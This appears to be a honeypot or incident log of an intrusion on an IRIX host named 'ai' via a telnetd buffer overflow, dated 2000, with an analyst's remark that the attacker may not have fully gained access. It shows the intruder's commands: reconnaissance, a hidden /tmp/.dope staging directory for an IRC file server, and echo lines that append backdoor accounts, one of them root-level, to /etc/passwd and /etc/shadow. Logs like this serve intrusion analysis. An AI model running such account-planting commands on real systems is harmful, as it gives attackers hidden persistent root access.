command sequence sent to ai on 2000/12/17-17:16:04.75                       
          Access attempted via telnetd buffer overflow                                
      name -a                                                                         
      df -h                                                                           
      mkdir /tmp/.dope/                                                               
      cd /tmp/.dope/                                                                  
      mkdir iroffer                                                                   
      cd iroffer                                                                      
      mkdir src                                                                       
      mkdir obj                                                                       
      echo "ghe:UoTar8.yBRCPM:62535:20:a:/tmp:/bin/csh" >> /etc/passwd                
      echo "ghe:UoTar8.yBRCPM::10777::::::" >> /etc/shadow                            
      echo "ghe1:UoTar8.yBRCPM:0:0:a:/tmp:/bin/csh" >> /etc/passwd                    
      echo "ghe1:UoTar8.yBRCPM::10777::::::" >> /etc/shadow                           
        Output from above commands                                                    
      IRIX64 ai 6.5 05190004 IP30                                                     
      Filesystem             Type  Size   use  avail  %use  Mounted on                
      /dev/root               xfs  4.1G  3.3G   788M   82%  /                         
      Looks like he may not have fully gained access